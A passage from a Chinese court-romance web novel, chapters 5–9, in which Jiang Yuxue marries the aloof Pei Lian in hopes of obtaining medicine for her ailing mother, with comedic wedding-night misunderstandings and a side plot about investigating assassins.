两人僵持不下,就听见下人前来带话:“大小姐,二小姐,夫人醒了,等着两位过去呢。”
“真的、呜哇啊!”姜钰雪一松手,被姜芸一把拖下了床,摔了一屁股。
-
“娘亲!”
还未等李兰惜开口,姜钰雪便一头扎进她怀中:“娘亲,你还好吗?有没有哪里不舒服的?”
被她一连串问了好些关心的话,李兰惜欣慰地轻笑了几声,安抚道:“我没事。倒是你,我醒来后一连好几个人同我说皇上给你赐了婚。”
“娘亲,我不想、”
“你爹还和我说是门好亲事呢。”
李兰惜兴致上了头,没听见姜钰雪的话,无意间打断了她,伸手隔着衣袖抚上姜钰雪的脸颊:“我的乖雪儿,没想到还能看到你成亲的样子。”
姜钰雪看着李兰惜眼中的温柔,鼻子发酸,抬手捋开她的袖角,摸上她发凉的手:“娘亲……”
她虽然平日里被说像只小猫一样咋咋呼呼的,但在李兰惜面前,她总会不自觉收敛起自己吵闹的性子,不让她担心自己。
“对了对了,”
李兰惜忽然想起什么,转身在榻边的柜子里摸索着,“有个东西给你看看。”
不一会儿,她推出一个有些沉的木匣,示意姜钰雪打开。
木匣被缓缓打开,一件红衣映入眼帘。红色绸缎上一针一线细细绣出一对栩栩如生的鸳鸯,一寸一寸地撒上了金粉。
姜钰雪看着这件红衣,不禁一愣,抬头便对上了李兰惜充满宠溺的注视。
“娘亲,这个是……”姜钰雪小心翼翼地向李兰惜确认。
见她面上的意外之色,李兰惜像是恶作剧得逞了一样,嘴角笑开,得意道:“这是我之前偷偷给你做好的,怎么样?喜不喜欢?”
“没想到竟然能看到你穿上,娘还以为熬不到了呢。”
“呸呸呸!”姜钰雪听到这话,急得一把抱住她,抢在她前面开口,“娘,你说什么呢!”
“娘亲要一直陪着我长大的。”
李兰惜轻拍着她的背,笑着哄她:“好,好。”
姜钰雪窝在李兰惜的肩膀上,眼眶中偷偷盛着泪水,紧紧抓住了她的衣袖。
-
“殿下。”洛十一叩响书房的门。
裴敛端坐在案前翻看着书卷,阳光透过雕花的窗棂,在他纤长的眼睫上镀了道辉。
“何事来报?”裴敛抬起头,眉眼中未有情绪。
“上回抓到的刺客供了,那名男尸名为张越,是宫里的一名侍卫,与姜甫是旧识。”洛十一道。
“两人身份如今已经相差甚远,竟还有联系?”裴敛问道。
“是。只是……书信已被血染得看不清,无从辨认里面究竟写了什么。”洛十一道。
“殿下,可是要找姜甫来查?”
“不必,我有别的办法。”裴敛沉声道。
案子里查到了嫌犯,而嫌犯的女儿过几日就要嫁进府上,这样还不查吗?万一日后当真有诈,那岂不是红事成白事?甚至还会抹黑端王府。
洛十一内心直犯嘀咕,但又无权过问主子的打算,斟酌半晌,又另外报道:“还有,管事说婚服已经备好了,还请殿下去试试。”
裴敛起身绕过洛十一走到门外,白衣被日光勾勒得格外刺眼。
“不必了,我不喜她。”
-
“阿姐——”
姜钰雪从李兰惜那边离开,直奔姜芸屋里:“阿姐,你怎么回屋了,我找你好久。”
“怎么了?”姜芸远远便听见她的呼唤,本是想笑着说她几句,回头竟见她眼眶的红晕,赶忙关切道,“你怎么哭了?爹爹骂你了?”
“没有没有。”姜钰雪利落地摇头否认,单刀直入,“阿姐,那你教教我吧。”
“嗯?怎么突然这么听话了,真的没被爹爹骂?”
姜芸上前掏出手帕,轻轻擦去妹妹眼角残留的泪水:“你想我教你什么?”
姜钰雪眼珠子转了转,眨了眨眼:“学些……男人喜欢的
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?”
“你、你、”姜芸听她一说,脸上骤生红晕,扯着她的衣袖示意她低声些,“你突然间说什么呀?”
“阿姐,”姜钰雪按住她阻挠的手,一脸正色,“我想好了。”
“我嫁过去,讨他欢心,不就有可能要到那方子救娘亲了吗?”
“就算讨不到他欢心,再不济……”
再不济,也能用些非常规的手段拿到。
“可你也不能让我教……我、我……”姜芸摆摆手,说话的声音都颤抖了。
“阿姐,你知道我学东西慢的,你先教我嘛!”姜钰雪牵着她的手摇晃着,推着她往屋里走。
姜芸回头看她,为难道:“大白日的、”
“可是阿姐你晚上就要回去了。”姜钰雪不理解姜芸的拒绝,掰着手指念着,“阿姐你现在教我,我晚上再温习,这样才学得好,不是吗?”
肯定是的吖!唱歌跳舞哪是嫲嫲教得好的,当然不如她阿姐教!她阿姐可就是靠着一支舞拿下了心意郎君的。
“晚、晚上温习…?!”听到这话,姜芸羞得不紧抬高了音量。
姜钰雪磨了好一会,扰得姜芸脸都要烧熟了,这才拗得她支支吾吾道:“就是……就是……”
她说得小声,又捂着脸,姜钰雪只好整个人贴过去侧耳听着她说:“就是……你亲他一会……”
嗯嗯。
“然后……然后他会……会……就是……身上会有一个……”
“硬硬的……”
嗯?
“然后进、进到你里面去,接着会、会出血……”
嗯???
“你得拿着帕子接住,第二日交给……”
后面的姜钰雪没有听清,她脑海里只记得,硬的、进去、出血。
脑海中不时闪过那日刀光剑影下喷溅的血,骤然喊道:“要、要捅进去?!”刀子捅进去。
“然后……扑哧扑哧地流血?!”刀子捅的。
“你……!”姜芸听着她竟然还想将这事描述得生动有声,整张脸已经烧得不成样,赶忙捂住她的嘴。
姜钰雪挣脱开她,不敢置信地追问:“阿姐,姐夫捅了你一晚上???”
那得流多少血?!
“你你你……!”姜芸羞耻到了极限,甩开手落荒而逃,“我不教你了!”
“诶?阿姐?”姜钰雪伸手抓了个空,只能起身追着她,“你还没告诉我那东西都藏在哪呢——”
-
姜钰雪没追到姜芸,反而被赶去道观给李兰惜祈福。
道观离姜府不太远,因着不对普通百姓开放,里头十分安静。
姜钰雪走在道观中,脑海里还在回想着方才姜芸说的话。
原来男人生下来都自带一把刀啊……
难怪说男儿刀枪不入,集聚阳刚之气呢。
原来,男人就是剑啊……
姜钰雪觉得自己的认知顿时翻天覆地,脑子里的问题一个接着一个冒出来。
要是姜子逸在就好了,至少可以问问他这东西能不能拆下来,这样她还能防着点。
不然,成天揣着这么危险的东西到处走动,她都要对他肃然起敬了。
“笨蛋姜子逸。”
姜钰雪自顾自地不满了一下,不觉间已经绕过了一处小殿,在转角处忽的看到一个熟悉的身影。
裴敛一身白月长袍,从小殿的侧门走了出去,身上还带着道观常有的香火味。
姜钰雪下意识躲回转角处,背紧贴着墙壁。
他怎么在这?
她好奇地悄悄探出脑袋,又忽的想起姜芸的话,眼神不自觉朝神秘之处移去。
就在此时,那道身影忽的停下脚步,开口道:“出来。”
5. 第5章
姜钰雪的心猛地一跳。
她这是被发现了?!
她忙躲回转角处,后背紧紧贴着墙壁,大气不敢出。
“我再说一次。”清冽的声音响起,修长的手指抚上剑柄。
裴敛微偏回身,朝身后的方向警示道:“出来。”
见无人回应,指腹推开剑柄,随着一声出鞘的响动,裴敛回身迈开步子,往藏身的转角处逼近。
姜钰雪听见逼近的脚步声,顿时心觉不妙。
她只是恰好路过,不是故意跟踪他的啊!
但心中的呐喊无法替她解释,姜钰雪抓紧了袖口,硬着头皮跨开一步。
“是我是我。”
忽然,另一边的树荫下传来了一道男子的声音。
一只绣了龙纹的黑色长靴从阴影中走出,踩过地上的沙砾发出响声。
男人从林子里走出来,身上的上等绸缎在日光下闪着光,漫不经心道:“裴兄,好久不见。”
他话说得轻巧,面上带着友善的笑,好似方才对方的胁迫没有发生过一样。
闻声,姜钰雪迈出的脚还没落地,整个人僵在原地,扶着墙不敢动弹。
另一边,裴敛见来人,松开扶着剑柄的手,颔首道:“三皇子。”
“别那么生疏嘛,”男子上前搭住对方的肩膀,嬉皮笑脸道,“我是皇子,你是未来的亲王殿下,咱们都是皇家人,又是同岁,你叫我阿珣就行。”
裴敛面不改色地看着他,偏过身不着痕迹地躲开肩上的手,正色道:“如此不合规矩。”
接着,又将此事略过:“不知三皇子今日来这道观是有何事?”
见对方没有领情,李珣也不感到尴尬,若无其事地收回手,回道:“我母妃身体抱恙,我来给她祈祈福。”
“淑妃娘娘身体抱恙?”裴敛疑惑道。
“是啊,就前阵子开始的。年纪大了,难免身体就变差了。”
李珣皱眉摇了摇头,数落起来,“平日管着她让她少喝点酒又不听,怕是喝伤了。”
闻言,裴敛的心生疑虑。
他记得淑妃的身体一直不错,前些日子还在宴会上见过她在那生龙活虎的。
此时还藏在转角处的姜钰雪从刚才起就一直维持着那个姿势。
她抬起的脚不敢落下,僵持在半空中止不住地发抖,一张小脸也因憋着劲涨得通红,心里恨恨嘀咕着。
……早知道就不过来这边了!
他们、能不能……换个地方聊,让我走啊……!我的脚……谁来救救我的脚……!
忽然,不知从哪里走出一只三花猫。粉色的肉垫踩在地上毫无声响,尾巴一甩一甩地好奇看着她。
姜钰雪见它走近,赶忙用眼神驱赶它,头往旁边摇着示意它走开。
小猫咪可看不懂这些,顾自走近她,视线集聚在她停在半空中颤抖的脚,摆出一副蓄势待发的架势。
姜钰雪意识到它要做什么,连忙摇头意念哀求它:别、别、猫大哥……别……!
三花猫从地上跃起,抓住她的脚一口咬了下去。
原本无人的地方忽然传来“咚”的一下声响,李珣闻声抬头,喊道:“谁在那?”
说着,他抬步便往声响的地方走去,一边厉声呵斥:“出来!老子说话你也敢偷听!”
此时,姜钰雪一边咬唇忍着痛,一边把猫爪子从脚上扒拉下来,心里忍不住哀怨道:怎么又来?!
脚步声逐渐靠近,姜钰雪心里直后悔,早知方才就顺势走开,又或者直接出来说清楚走人,现在也不用遭这个罪。
出去解释一下?还是再想办法能不能躲起来?
姜钰雪急得脑子要转冒烟了。
“三皇子,”
忽然,一直不搭话的裴敛挡住李珣的去路,开口道,“此殿为我母妃的灵堂,不宜见血,还请三皇子高抬贵手。”
说完,他又顿了顿,“况且,大抵也只是道观里四处乱跑的小猫罢了。”
听到此话,李珣才抬头看了眼殿上挂着的牌匾,忙赔不是:“冒犯,冒犯。你说我这没注意,都怪我,希望没惊扰到令堂。”
呼……
闻言,姜钰雪松了口气,盯着手上的猫无声谴责它。
然而,她才放松没多久,就听到李珣继续道:“那我便活捉他。”
“是猫不是猫,过去看一眼便知。”
说着,又再抬步走来。
怎么又来?!?!
姜钰雪的精神已经被反复蹂躏到了极限,摇着手上的猫恳求着:呜呜呜你叫啊!你快叫啊猫大哥!
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然而,小猫咪只是一脸无辜地被她摇着,小嘴动了动,却是一点声响都没发出。
还是只哑巴猫?!
另一边,李珣越过了裴敛,阔步逼近声响的源头。
身后,裴敛眸光黯了黯,侧目看向守在暗处的洛十一,随后便也抬脚准备跟上去。
“喵呜——”
忽的,那个地方忽然传来了猫叫声。
三皇子闻声停下脚步,挑眉意外道:“猫?”
“喵呜——”
猫叫声又再响起,随后传来了草地被踩踏后发出的窸窣声。
“嚯,还当真是猫,裴兄好敏锐。”李珣面上又挂上了笑,回过身看了裴敛一眼。
裴敛移开视线,转身往反方向走,将小径的另一侧空开了些:“三皇子便随它去吧,左右是只小猫。”
见对方有意和自己同行,李珣兴致勃勃地跟了上去:“裴兄怎知是猫的?”
两人走在树荫下,阴影覆在面上时,裴敛不着痕迹地往方才的地方暼了眼,面不改色:
“见过。”
原先转角处。
三花猫正用不可思议的眼神盯着面前这个模仿着猫叫声的人。
而姜钰雪自己也知道羞耻,捏着嗓子叫唤的那几声已经让她面色涨红。
听着两人走远,她长舒一口气,用食指戳着猫咪的额头,谴责道:“你个捣蛋鬼,吓死我了,还好我装得像……”
小猫咪眨了眨眼,喵了一声从她手中跳走,溜进了殿内。
“你会叫啊???”
姜钰雪从地上爬起来,跟着猫进了殿内。
殿内轻烟袅袅,浓浓的香火气飘荡在期间。
放眼看去,殿中央的高台上摆放着一个个灵牌。
这里并不是专门用来供奉某个宗室的灵堂。
姜钰雪绕着这高台看了一圈,一个个辨别着上面写着的名字。
“他娘亲已经去世了啊……”
她看了许久,却没有发现类似“端王之妻”之类的灵牌。
“没有,真的在这?而且,端王正室的灵牌,好像不应当供奉在这种什么人都有的地方才对。”
她正觉得奇怪,原本在帮忙安排贡品的新月找到此处,呼唤到:“小姐,教事的嫲嫲提前到了,我们该回去了。”
6. 第6章
后面的几日,教事的嫲嫲将姜钰雪好生一顿管教。
从说话到做事,统统教了她一遍,三天两头地抽查她。
就这么拖到后面要教那种事时,姜钰雪的脑子早就装不下了,赶忙摆手道:“阿姐已经教过我了,就是捅什么的,然后湿哒哒的还有血,要用帕子接。”
嫲嫲一听她说得有模有样的,心下看不出这大小姐私下这般豪放,教得还真不错,省了她的事,便将那小册子交给了小姑娘让她自己去温习了。
姜钰雪嘴上应着好,等嫲嫲一走立马把小册子丢在一旁,将此事忘得一干二净。
-
很快就到了成婚那天。
姜钰雪一早便被拉起来打扮,在姜甫和李兰惜的注视下进了轿子。
一直到轿子消失在视野中,两人才进屋暗暗擦了擦眼泪。
姜钰雪独自在轿子中颠簸了好一会儿,终于是在日落时送进了府内。
按照规矩,未来的夫君应该要在府中等候她,接着两人一并去走完剩余的流程,没想到却是直接被管事的带进了屋中。
“小姐,总觉得不太对啊……怎么没有拜堂啊?”新月作为姜钰雪的陪嫁丫鬟一同进了府中,看着屋内这挂着的一片红疑惑道。
“可能是因为他娘亲已经去世了吧……”姜钰雪嘴上说着,实际心里也在犯嘀咕。
即便是家中主母去世,那也应当有别的长辈才对,更何况她连端王都没见到。
只是这个疑虑还没存在多久,便被她肚子咕噜噜的叫声给拍飞了。
新月见她饿得捂着肚子,赶忙拿了桌上的糕点给她:“小姐,来,吃点垫垫肚子。”
姜钰雪拿起一块甜饼掰成两半,一半塞进自己嘴里,另一半塞进新月嘴里:“新月,你也吃点。”
新月也不推辞,嚼着谢道:“谢谢小姐。”
姜钰雪看着新月,想到一会自己会遭遇什么,不安地握住新月的手:“新月,辛苦你陪我嫁过来了。”
新月从小和她一起长大,小时候她身体不好,只能看着其他人出去玩,都是新月在屋里陪着她,她早已把她当做姐妹。
“新月,”姜钰雪情绪有些低落,“我不知道能不能活过今晚……”
“小姐,你说什么呢?!”
新月连忙打断她,谁家好姑娘新婚之夜刚入门就想入土了。
姜钰雪累了一日,眼皮打着架,情绪也越发低落,喃喃道:“我虽然笨、吵闹、不学无术,但从小到大家里人都对我很好,我知足了。”
“小姐……”
新月看着她惴惴不安的样子,心中不忍,转过身去给她斟茶,嘴里一边安慰她:“奴婢知道你害怕和世子殿下不合。可是奴婢知道,小姐虽然又笨又吵还不学无术,但小姐也有很多可爱的地方,世子殿下一定会发现、”
新月端着茶回过身,回应她的只有姜钰雪绵长的呼吸声。
新月:……
-
春日的夜晚已经开始吹起了暖风。石板路上,有个人覆着月华前行。
府内的管事见裴敛归来,赶忙上去迎他:“世子。”
裴敛脚下未停,月华将地上的影子拉长,两人一前一后地走在路上。
“侧妃今日已接入府中,从酉时便在屋中候着了。”管事继续道。
裴敛面上并未露出什么情绪,只是目视前方淡淡回了句“嗯”。
晚风时不时吹起他绣有精致云纹的白色外衫,被月华将其上深红的痕迹照得醒目。
管事看了眼他白衣上的血迹,关切道:”世子可是受伤了?”
裴敛瞥了眼身上的痕迹,回道:“不是我的。”
“世子可是要沐浴更衣后前往?水已经备好了。”管事道。
“不必。”说完此话,裴敛连脱下外衫的意思都没有,径直往寝殿走去。
“只是……”
“你早些歇息,不用跟来。”
管事的话还未说出口,便被劝了下去,只能杵在原地看着他远去。
-
“小姐,小姐快起来!”
守在门口的新月远远看到来人的身影,慌忙进屋摇醒睡梦中的姜钰雪。
“唔……”姜钰雪睡得正熟,忽然
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被这么摇晃着,眉头不满地皱起,“让我再睡会儿……就一会……”
“别睡了小姐!世子殿下来了,快醒醒!”
“什么?!”姜钰雪唰地一下坐起身,脸上还有点睡时压着的红痕。
新月赶忙将她的盖头盖好,把桌上的东西收拾干净。
很快,紧闭的门骤然敞开,月华照进屋内,落下一道欣长的身影。
裴敛抬步走近屋内,绕过遮挡着寝室的屏风,视线中映入桌前那一身红衣的女子,滞住几息。
尔后,他移开视线看了眼她一旁的侍女,示意对方退下。
侍女收到眼神,低着头很快退了出去,带上了门。
一时间,屋内只剩下作为“新人”的一男一女,空气安静得能听见浮尘落地。
裴敛脚下未动,连走近揭开对方盖头的意思都没有,站在原地神色漠然道:“姜小姐,话说在前头,你我婚事不过长辈之命。我绝无此意,今后还请你自便。”
“什么意思……?”姜钰雪有些懵。
“我不心悦你,但只要你安分守己,府里也不会亏待你。”
裴敛说着,转过身背对她,没有久留的意思。
“不好听的话我只挑明到此,今后你便在府里老实呆着,我们互不干涉。”
他不喜欢她,姜钰雪心里对此早就有数,只是没料到他会说得这般直白,甚至好像连碰她的意思都没有。
还没来得及消化完他话里的意思,听见裴敛抬步要走,姜钰雪下意识要留他,脑海里记起嫲嫲教过的事情,借口道:“我们交杯酒还没喝,这不合规矩。”
嫲嫲说过,端王府是最重视规矩的。
话落,裴敛果真停下脚步,回身朝放了酒杯的圆桌走来。
他每一步都走得板正,脚步声在这寂静的空间下显得格外清晰。
每靠近一步,姜钰雪的心都要重重地撞一下,藏在袖下的手紧紧攥着衣角。
裴敛行至桌前,手还未碰触到酒杯,忽然手腕被猛地一扯,视线天旋地转。
姜钰雪一把将他推到榻上,将他压倒在身下。
7. 第7章
喜红的床帘剧烈摇晃,盖头从头上脱落,掉在了柔软的被上,露出其下精致的小脸。
长长的青丝垂落在裴敛的脸侧,像是羽毛一样轻轻拂扫过他的唇。
裴敛怔住一瞬,目光停滞在对方的面容上。未等他反应过来,姜钰雪猛地闭眼俯身吻了上来。
青丝扫过眉骨刹那,裴敛偏头闪躲。下一刻,温软触感落在喉结三寸之下。
姜钰雪只尝到沁骨的冷,惊惶间竟无意识轻吮了一下。唇下肌肤陡然滚烫,喉结在她唇齿间重重滚动,顶过她湿软的舌。
耳边传来对方喉间颤抖的吐息,掌心下的胸膛剧烈起伏。
“姜钰雪……”
清冽的声音克制着气息,碾过姜钰雪伏在对方身上的脊背。
像是动物觉察到危险的本能,姜钰雪倏地直起身。
“下去……!”
裴敛眉头蹙起,青丝铺散的被褥上。烛火将他眼底的斥责照得清晰,明灭的烛光悄悄绘着脖上的那抹红。
姜钰雪肩膀下意识一缩,压在对方胸膛上的手发着抖,一脸惶恐。
她生来就怕做错事惹他人生气,现在面对他眼里的斥责,更是想打退堂鼓,心里只好一遍遍回想着自己嫁给他的目的,暗暗给自己打气:不要怕……不要怕啊姜钰雪!你还要救你娘呢!
姜钰雪鼓起勇气回视他,目光落在他淡色的薄唇上。他的唇薄却饱满,在烛光下泛着水光,抿直的唇角随着气息变动着。
她恨恨地看了最后一眼,狠下心瞄准了他的唇再扑了上去。
怎知,下一瞬,双膝间的腰腹陡然绷紧,姜钰雪视线晃动,整个人往后仰。
裴敛忽然折身而起,双臂撑在她身侧,骤然贴近她。骨节分明的手青筋凸起,将柔软的被褥压出深陷的褶皱。
对方猛烈的气息吓得姜钰雪慌乱后撤,没两步便撞上墙壁,被困在了对方的胸膛和墙壁之间。血腥的气味来势汹汹地吞噬她身上的香气,卷走了她最后一点勇气。
“啊啊啊啊、你你你不要过来……!不要过来!”
姜钰雪惊恐不已,双手用力推着他的胸口,想从其中逃脱。却是被对方一手抓住手腕,牵制住了双手。
“怎么,现在害怕了?”
裴敛凑近她惊吓得阖上的双眸,气息触碰过她纤长的眼睫。
床帘摇晃,盖头不知何时已落在冰凉的地上。
周身的气息陡然变得炙热,姜钰雪无处可逃,白皙的脚趾害怕地抓着被褥,压出了红红的印子。
她抑制着喉中的呜咽声,辩解道:“我、我我、我没有……”
随后,怯生生地睁开眼。烛光明灭,照出了她衣服上染着的一大片红,还有手上黏糊糊的红色液体。
血、血……她、她流血了……?
下一瞬,脑子一片空白,晕了过去。
见状,裴敛松开她的手,侧过身任由她倒在了被褥上。
尔后拿起床边的白帕擦了擦未身上干的血迹,随手丢在了一旁。
脖子上还留有方才温软的触感,他蹙眉抹走那股感觉,脸上恢复到平日里的漠然,抬步走出了正门。
-
大门骤然打开,守在不远处的新月见屋里出来了人,赶忙走上去等待吩咐。
方才她守在外头,远远便听见自家小姐“不要不要”的喊声,叫声之凄惨,听得她心里担心得不行。
她走向门口,见到出来的人是裴敛,躬身便要行礼。
然而,一句“世子”到嘴边还未说出口,见到对方衣领不整,脖子上明晃晃留着一个暧昧的红痕,又沉着张脸,再加上刚才姜钰雪反抗的动静,便知方才在屋里的那段肯定不怎么和睦。
“世子殿下……”新月不敢抬起头,躬着身对他行礼,等待他的吩咐。
但裴敛只是径直越过她,没有半点犹豫地离开了。
待裴敛走远,新月赶忙进屋查看情况。
她走进寝室,见到姜钰雪瘫倒在被褥上,身上的衣服穿得好好的,疑惑地凑上前,“小姐?”
屋内烛火已灭,只有淡淡的月光透进来。
新月正准备去将蜡烛点燃,门外便来了传话:“侧妃,管事令我来查元帕。”
闻言,新月赶忙拿起掉在床边的帕子走了出去,交给来传话的丫鬟。
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结果,月华一照,雪白的帕子上一大片血迹,看得两人纷纷吸了口凉气。
丫鬟控制着面上的惊悚之色,愣了半晌,接过帕子后匆匆离开了。
-
次日一早,姜钰雪从榻上醒来,睁眼便是新月担忧的神色。
“小姐!”
“唔……新月……”
姜钰雪睡眼惺忪,缓过神来后猛地起身,掀开被子摸了摸自己的身体。
好、好像没有受伤……
“劫后余生”的心砰砰直跳。
“小姐……”新月担忧地看着她,倾身站在她边上问道,“你昨日和世子殿下怎么……那么多血……奴婢可没听说过圆房会出那么多血的……世子殿下这般粗鲁?”
姜钰雪顿了顿,陷入沉思中一言不语。
“管事唤了个丫鬟过来要帕子,一看这么多血,可把我俩都吓坏了。”
“啊?”闻言,姜钰雪惊呼道,“你给了帕子?!”
“嗯。怎么了……?”
新月见她一脸惊讶,不解地解释道,“就落在你旁边,当时你已经睡着了,那丫鬟又来催,我就先拿着给了。”
“可是……有何不妥?”
姜钰雪抱着膝盖将脸埋在被褥中,犹犹豫豫地开口:“新月……我和他……其实没有圆房……”
“啊?”新月下意识惊呼一声,又发觉自己反应太大,忙压低声音,“可是……我昨晚见到那帕子确实有血……”
“那个是他身上带着的……”姜钰雪抬起脸看向她,“他昨日一进来身上就有血腥味,我没注意……”
“不过交便交了,”姜钰雪心虚地眨了眨眼,“至少其他人不会觉得我连让他圆房都做不到。”
两人还在说着话,门外又有人来传话:“侧妃,管事让我来传话,该用早膳了。”
这才刚刚到辰时便来催用膳了,姜钰雪在新婚第一日便感受到了教事嫲嫲所说的规矩。
主仆两人互相看了眼,新月帮忙回道:“侧妃刚醒,一会儿便来。”
“好的。”传话的人回道,紧接着又补充道,“世子殿下也在。”
8. 第8章
闻言,姜钰雪正在下榻的脚僵在半空,嘴角凝住。
她想起自己昨晚的举动,现在有些不好意思去见他。
新月见她忽然顿住,试探道:“小姐?”
姜钰雪心虚地眨了眨眼,还是应着头皮下了榻:“没事,你帮我梳洗吧。”
说着,她坐到铜镜前,抬手撩起鬓发时见到自己手腕上的红痕,下意识一缩。
这个地方……还是遮一下吧……
新月娴熟地给姜钰雪梳洗,又给她画了个素雅的淡妆。
姜钰雪本就长得精致,尤其是那双黑眸里的灵气很是吸引人,一个淡妆便足矣将她本就好看的模样装点得越发动人。
两人捯饬了没一会儿,便被候在外头的丫鬟引着往偏厅去。
去的路上,姜钰雪还在做着心里准备,没想到一进厅前就与裴敛四目相撞。
“殿、殿下……”
姜钰雪顿时止住脚步,低声唤了他。
裴敛移开视线,垂眸应了声“嗯”,再没有些别的回应。
见他还愿意应声,姜钰雪心里悄悄松了口气。
看上去他心情还可以。
管事引着姜钰雪入了座,下人便开始上菜。
她昨夜还未用膳就直接晕了过去,早就饿得肚子直叫,老实说心里还很期盼着能饱餐一顿。
然而,当下人们都上完菜退下时,宽敞的梨木圆桌上却只放了两碗白粥和几盘水煮青菜。
姜钰雪:……?
“请问……就这些吗?”姜钰雪看了眼管事,试探道。
“侧妃,早晨应清淡少食,这已经很多个菜了。”管事回道。
姜钰雪看着眼下的碗,无奈地抿了抿。
那确实是挺多个菜的。
全是菜,一个荤都没有。
姜钰雪拿起筷子尝了口花生米,啪叽啪叽地嚼着,抬头看了眼对面的人。
裴敛眼睫半垂,正静静地用食。修长的手指持着银匙,盛起半勺清粥送入口中,竟是一点声音都没有发出。
晨间的暖光将他白皙的肌肤晒出了点温度,一时让姜钰雪都忘了与他不多的碰面均是染血的吓人模样。
她忽然好像也不是那么怕他了。
“殿下,今日你、”
“侧妃,”
姜钰雪话说一半,一旁的管事便上前打断她,“食不语,这是规矩。”
“抱歉……”姜钰雪灰溜溜地将话咽了回去,埋头继续吃饭。
在相府时,她都是拉着其他人边吃边聊的,这样才吃得香。若是安安静静地吃,未免也太无趣了。
而且,如若不多说说话,她要怎么和他培养感情?如果不能让他认可自己,那如何让他帮她实现她的请求?那她娘亲怎么办?!
她心里想着,面上不自觉间愁眉苦脸了起来,嘴角耷拉着,整个人像朵蔫了的小花。
裴敛余光瞥见她垂下的发丝,看着她不满地戳拉那盘可怜的水煮青菜好一会儿,开口道:“何事?”
闻声,姜钰雪唰地一下抬眸看他,惊奇地眨了眨眼。
管事说不能说话,但世子都让她说了,应该是可以说吧?
似是看出了她心里的思量,裴敛放下手中筷子,回道:“长话短说。”
姜钰雪虽不懂什么复杂的人际交往,但心里对自己昨夜的莽撞还是有数的,“殿下,对不起,昨夜我、”
“妾妾…身…”
“不必。”她话说一半,裴敛看了她一眼,打断了她,“不记得你做过什么错事。”
嗯?
姜钰雪的瞳仁儿倏地一亮,发顶上的碎发都跟着翘了起来。
他这是……原谅了她的意思?
这么好的机会,姜钰雪也不是个不识抬举的,赶忙就换个话头:“殿下今日可是要去什么地方?几时回府呀?我能否跟去?”
“不行。”裴敛洗净了手,结束了用膳,“今日要很晚才会回府,你老实呆在府中,不必等我回来。”
最后一句话他是看着她说的,尤其最后几个字还特地加重了一些。言下之意,让她老老实实地不许作妖。
姜钰雪缩了缩脑袋,“哦”地应了一声,看着他起身离开的背影。
忽然,咻地一下,一个想法窜进她脑子中。
-
戌时,王府外,一处密林中的暗室里隐隐传来惨叫声。
裴敛负着月华走出门外,往洛十一备好的马车走去。
“殿下,”洛十一给裴敛打开车门,看了眼他的面色,关切道,“殿下近日可是着凉了?”
裴敛弯身上车,回道:“没有,为何这般问?”
洛十一心下疑惑。
今日回暖,按理来说自家主子应该是减衣才对,反倒是穿了个高领的袍子,所以
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他才担心是不是着凉了。
“小的只是见天气回暖,殿下没有减衣,有些担心而已。是小的逾越了。”
“无碍,说正事。”
主仆两人坐在车厢中,车轮滚动,轧过地面的石子。
洛十一将手中的东西交给裴敛,报道:“从一名刺客的尸体上发现了几张卖身契,经调查,这几张卖身契均是该名刺客的亲人。”
“而买家的源头,为侍御史刘远。”
“刺客也许是遭嫌犯利诱,借此换来亲人的自由,亦或者……刘远就是嫌犯本身。”
裴敛听完,忽然问道:“不久前,京城内拍出的天价琉璃樽你还记得吗?”
“那个买家就是刘远。”
“什么?!”洛十一震惊地抬起头。
一个侍御史,怎会有这么多钱?
“过几日,他会在府上给女儿办生日宴。”
“殿下可是要亲自去?只是,我们如果忽然拜访,恐打草惊蛇。”
裴敛掀开帘子,抬头看了眼月色,命道:“先回府。”
-
“小姐,真的要这么做吗……”
月黑风高,新月跟在自家主子身后来到东院,此处为世子寝屋和书房的所在之处。
“这才戌时,他肯定不会那么早回来。”姜钰雪推开寝屋的门,回头嘱咐道,“你在这守着,我进里头找药。若是有人来了,你便给我信号。”
话落,“哐”地一下关上了门。
寝屋内没有点灯,姜钰雪手拿着一小盏蜡烛。屋里东西摆放整齐,明明是睡觉的地方,却到处是文书卷轴,真是一点都不像寝屋。
她往深处走去,入眼是榻边的一张书案,上面摆放着好几沓书。
这人怎么一睁眼就是工作,简直不可思议……
她走近一看,烛光照明处如是写道:尸体发现在北郊外,身上多处有伤,身上带了遗物一封信,一个香囊……
姜钰雪看得出神,忽的大门哐哐响了两声,门外传来有谈话的声音。
她本以为是新月给她的信号,抬步便要往大门赶去。
下一刻,大门打开,一个熟悉的声音响起。
“不必,我一会就过去书房。”
他他他他怎么回来了?!?!
脚步声逐渐走近,姜钰雪慌忙地四下张望着,后退一步,看向了身后的那张榻。
9. 第9章
下人在浴室中备好了洗澡水便匆匆退了下去,屋内一时恢复到平静。
随着窸窣的声响,一层层衣物脱落到地面。
摇曳的烛光勾勒出胸前精壮的沟壑,一点红痣如雪中红梅,缀于锁骨之上。升腾的雾气如轻纱遮掩住紧实的腰肌,尔后随着浴桶中水面翻涌,被温热的浴水彻底包裹。
此时,姜钰雪正躲在被子下,埋头苦恼着。
本以为今夜就算没找到,自己也能把这屋摸个大概。没想到这才刚开始,他竟然提前回来了!
更要命的是她还没来得及逃离现场……
听着浴室中的动静,姜钰雪心里盘算着。
方才他说过一会儿就回书房,也就是说大抵是不会进到寝室这边。只要她在这躲到他沐浴完出去,便可悄无声息地离开,溜之大吉!
春日的被褥还是一层薄薄的轻棉,其中渗着淡淡的雪松香气,暖暖安逸地包裹在姜钰雪的周身。
她窝在其间,耳边是浴室中时不时响起的水声,鼻尖是自己呼出的热气,眼皮不知不觉变得沉重起来……
裴敛从浴桶中起身,拿起屏风上的毯子擦了擦身子。
“殿下。”守在门外的洛十一听到动静,问道,“可是需要小的帮殿下更衣?”
裴敛拿起一旁的中衣,回道:“不必,我自己来便好,你先去书房给我备好东西。”
“是。”洛十一应声退下。
裴敛穿好中衣,正准备拿起下一件,发现屏风上空无一物,这才记起今日回来得早,还未到下人备新衣的时候。只好转过身,往寝室走去。
寝室离浴室不远,屋内回荡着裴敛行走的脚步声。只是他将走入寝室时,却是感受到了人的气息。
他下意识放慢脚步,找寻气息的来源,最后把目光锁定在了床榻上。
床榻上,姜钰雪气息绵长,睡得正香,全然不知道发生了什么。
忽然,盖在身上的被褥猛地被掀起,冷空气涌入被褥之中,惊得她一下醒了过来。
“什、什么事……?”
她睡眼惺忪地抬起头,模糊的视线中,一个人影映入眼中。
接着,“噌”地一下跳起来,后退到深处靠着墙,双手捂着脸大声道:“你你你你怎么不穿衣服啊!”
